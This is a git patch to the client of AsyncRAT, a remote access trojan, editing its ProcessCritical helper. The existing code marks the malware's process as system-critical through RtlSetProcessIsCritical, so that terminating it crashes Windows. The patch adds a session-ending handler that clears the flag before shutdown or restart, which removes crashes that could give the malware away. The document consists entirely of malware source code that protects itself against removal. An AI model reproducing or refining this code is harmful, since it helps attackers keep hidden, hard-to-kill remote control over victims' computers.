From fb9a8249d75470908a0e0dfb3d94c96f9d38cbb4 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 19 Jun 2019 10:01:54 +0300 Subject: [PATCH] Fixed BSOD when pc shutdown\restart --- AsyncRAT-C#/Client/Helper/ProcessCritical.cs | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs index ab8c9d5..00927cf 100644 --- a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs +++ b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs @@ -1,4 +1,5 @@ -using System; +using Microsoft.Win32; +using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; @@ -6,11 +7,17 @@ using System.Threading; namespace Client.Helper { public static class ProcessCritical - { + { + + public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) + { + Exit(); + } public static void Set() { try { + SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding); Process.EnterDebugMode(); RtlSetProcessIsCritical(1, 0, 0); } @@ -22,9 +29,9 @@ namespace Client.Helper { RtlSetProcessIsCritical(0, 0, 0); } - catch - { - while(true) + catch + { + while (true) { Thread.Sleep(100000); //prevents a BSOD on exit failure }